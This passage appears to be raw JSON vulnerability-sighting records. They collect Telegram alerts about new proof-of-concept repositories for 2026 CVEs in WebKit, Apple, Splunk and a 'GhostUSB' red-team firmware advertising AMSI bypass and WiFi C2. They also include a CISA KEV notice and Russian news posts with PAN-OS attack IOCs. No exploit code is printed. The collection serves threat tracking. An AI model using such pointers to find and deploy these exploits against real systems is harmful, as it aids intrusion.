"fa6bfe84-1c91-4535-b589-933a4dc6ac3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://t.me/GithubRedTeam/91041", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WebKit-NavigationAPI-SOP-Bypass\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zeroxjf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HTML\n\u2b50 Star\u6570\u91cf\uff1a 18  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 5\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-28 22:18:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWebKit NavigateEvent.canIntercept SOP bypass via cross-port interception \u2014 iOS 26.3.1 BSI (CVE-2026-20643)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:33.992021Z"}, {"uuid": "0ca1d7d2-a70d-4ee4-863c-fbd577dc9952", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20637", "type": "seen", "source": "https://t.me/GithubRedTeam/91042", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20637-AppleSEPKeyStore-UAF\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zeroxjf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Objective-C\n\u2b50 Star\u6570\u91cf\uff1a 54  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 7\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-28 22:18:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20637: AppleSEPKeyStore Use-After-Free \u2014 iOS/macOS kernel vulnerability (patched in 26.4)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:34.025452Z"}, {"uuid": "bfaa9fbb-06f8-47a6-b966-38766eff8e9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/csirts.com/post/3mstmtr2lqn27", "content": "\ud83d\udea8 Added to CISA KEV \u2014 actively exploited:\nCVE-2026-20349: Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) Heap Inspection Vulnerability\n\nhttps://www.csirts.com/cve/CVE-2026-20349", "creation_timestamp": "2026-08-11T22:07:48.232008Z"}, {"uuid": "9716d76f-7216-44de-8e19-d81f7499d9cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/GithubRedTeam/90171", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Bypass #AMSI\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a GhostUSB\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a RDTUTORIAL\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-23 00:05:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExperimental red-team firmware for ESP32-S2/S3. Features USB HID keyboard emulation, multi-layer AMSI bypass, CVE-2026-20817 WER ALPC exploitation, 12 built-in payloads, and WiFi C2 with AES-256-GCM encryption.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:37.098623Z"}, {"uuid": "9e1fa41e-8c8e-4928-9c57-c01dade88124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://t.me/GithubRedTeam/88686", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20253\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xBlackash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-13 18:20:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-20253\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:42.071959Z"}, {"uuid": "e38d16be-7d3b-4a7e-b563-357b9d9dd7e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "https://t.me/true_secator/8309", "content": "Palo Alto Networks \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 PAN-OS \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441 \u0446\u0435\u043b\u044c\u044e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\u00a0\u043f\u043e\u0440\u0442\u0430\u043b\u0430\u043c\u00a0GlobalProtect.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u043e\u00a0CVE-2026-0257\u00a0(CVSS: 7,8), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u043f\u043e\u0440\u0442\u0430\u043b\u0430 \u0438 \u0448\u043b\u044e\u0437\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f PAN-OS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f VPN-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u044d\u0442\u043e\u0442 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f VPN-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0432 \u0445\u043e\u0434\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 17 \u043c\u0430\u044f 2026 \u0433\u043e\u0434\u0430. \u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043a\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u044d\u0442\u0438\u043c\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u041a\u0430\u043a \u0437\u0430\u044f\u0432\u0438\u043b\u0438\u00a0\u0432 Palo Alto Networks, \u043d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043d\u0435 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u0441\u0435\u0442\u0438. \u041b\u0438\u0448\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430 VPN-\u0441\u0435\u0441\u0441\u0438\u0438, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u043c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c \u0441 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u043a \u0448\u043b\u044e\u0437\u0443.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0435 IOCs, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u044d\u0442\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c\u044e: \n\n- IP-\u0430\u0434\u0440\u0435\u0441\u0430: 23.128.228[.]6, 104.207.144[.]154, 146.19.216[.]119, 146.19.216[.]120, 146.19.216[.]125, 179.43.172[.]213, 185.195.232[.]139, 198.12.106[.]60 \u0438 202.144.192[.]47;\n- \u0418\u043c\u0435\u043d\u0430 \u0445\u043e\u0441\u0442\u043e\u0432 \u0438 MAC-\u0430\u0434\u0440\u0435\u0441\u0430: aa:bb:cc:dd:ee:ff, 00:11:22:33:44:55, WINDOWS-LAPTOP-001, DESKTOP-GP01 \u0438 GP-CLIENT.\n\nPalo Alto Networks \u0442\u0430\u043a\u0436\u0435 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0438\u0441\u043a\u0430\u0442\u044c \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u0445 GlobalProtect \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0448\u043b\u044e\u0437\u0443, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u044b: \n- endpoint_os_version: Microsoft Windows 10 Pro 64-bit;\n- source_user_info.domain : empty.\n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 Palo Alto \u0441 PAN-OS\u2019\u043e\u043c, \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0442\u0430\u043a\u0436\u0435 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Splunk Enterprise, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 CVE-2026-20253 (\u0438\u043c\u0435\u0435\u0442 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 9,8).\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441 \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0438 \u0434\u0430\u0436\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430. \n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Splunk Enterprise \u043d\u0438\u0436\u0435 10.2.4 \u0438 10.0.7 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0433 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0438\u043b\u0438 \u0443\u0441\u0435\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0435\u0447\u043d\u0443\u044e \u0442\u043e\u0447\u043a\u0443 \u0441\u043b\u0443\u0436\u0431\u044b-\u043f\u043e\u0441\u0440\u0435\u0434\u043d\u0438\u043a\u0430 PostgreSQL. \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0441\u043b\u0443\u0436\u0431\u044b-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 PostgreSQL, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u044e\u0431\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c\u0443 \u043f\u043e \u0441\u0435\u0442\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0430 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445: 10.0.0-10.0.6 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 10.0.7), 10.2.0-10.2.3 (\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 10.2.4), 10.4 (\u043d\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e).\n\nSplunk, \u0432\u0445\u043e\u0434\u044f\u0449\u0430\u044f \u0432 \u0441\u043e\u0441\u0442\u0430\u0432 Cisco, \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Splunk Cloud, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432 \u044d\u0442\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f sidecar-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b Postgres.\n\n\u0412 \u043f\u044f\u0442\u043d\u0438\u0446\u0443 watchTowr Labs \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430\u00a0\u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-20253. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0435 \u043c\u043e\u0436\u0435\u0442 \u0432\u0441\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c.", "creation_timestamp": "2026-07-14T00:00:43.491118Z"}, {"uuid": "1f25c9cb-7f9c-430a-b829-1fbc4cda7ad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/true_secator/8345", "content": "\u041f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u043e\u0432\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u043a\u0430\u043a \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Cisco Catalyst SD-WAN (CVE-2026-20245) \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 root \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\nCVE-2026-20245 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 Cisco Catalyst SD-WAN Manager (vManage), Controller (vSmart) \u0438 Validator (vBond), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u043e \u043d\u0435\u0439 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0441\u044f\u0446\u0430, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u0432, \u0447\u0442\u043e CVE-2026-20245 \u0431\u044b\u043b\u0430\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u0430\u0442\u0430\u043a,\u00a0\u043d\u043e \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439.\n\n\u0422\u043e\u0433\u0434\u0430 Cisco \u043b\u0438\u0448\u044c \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root, \u0430 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u0439 \u043d\u0430 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Mandiant \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e CVE-2026-20245 \u0431\u044b\u043b\u0430 